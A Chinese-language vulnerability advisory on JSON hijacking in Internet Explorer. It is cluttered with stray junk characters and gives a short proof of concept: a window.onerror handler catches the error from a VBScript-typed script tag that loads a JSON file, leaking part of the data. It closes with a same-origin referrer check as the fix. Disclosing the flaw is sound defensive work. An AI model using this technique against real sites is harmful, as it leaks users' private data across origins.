简要描述:8 w2 [4 [) ~0 R; p6 O: C
! l0 c, _/ |. X, x9 a+ S由于某些资源容器对数据处理不当导致json劫持漏洞.
" R) H) W8 O) D# p V详细说明:3 t. t: W1 s: I: s. V$ v% e3 k
由于ie支持vbscript,所以script元素可以指定成vbscript语言:3 _* B. b: J) i9 R
<script language=vbscript></script>
& m- Q: H4 i) D
. p/ _8 _9 T% K$ k# d8 J当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
) }, s ^0 m4 Y% V6 I& z5 |2 R漏洞证明:
7 q: F; d$ ]1 }, M& L0 y<script>
f0 I5 P. E! R+ Mwindow.onerror=function(_){
1 u7 e( z. y) J2 nalert(_)2 N$ [& R. P4 n4 L. q1 ~3 a% H/ w
}- ^# z* a) V1 K' W
</script>+ M/ C3 v: B. Z
<script language=vbscript src=1.json></script>
; I( B! F5 T2 i; S8 e- z) ~
) J7 R8 U8 V1 F$ _0 @) |
$ H" K( G3 M- J3 V! U# a1 L, a' h1.json:
8 D/ `. s& t$ A3 G: y& ~3 s+ X" R[{"name":"sogili","age":19}] k3 h/ Z. V6 d5 E; L* [( p
修复方案:) o) x1 w/ ^6 ~' w
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |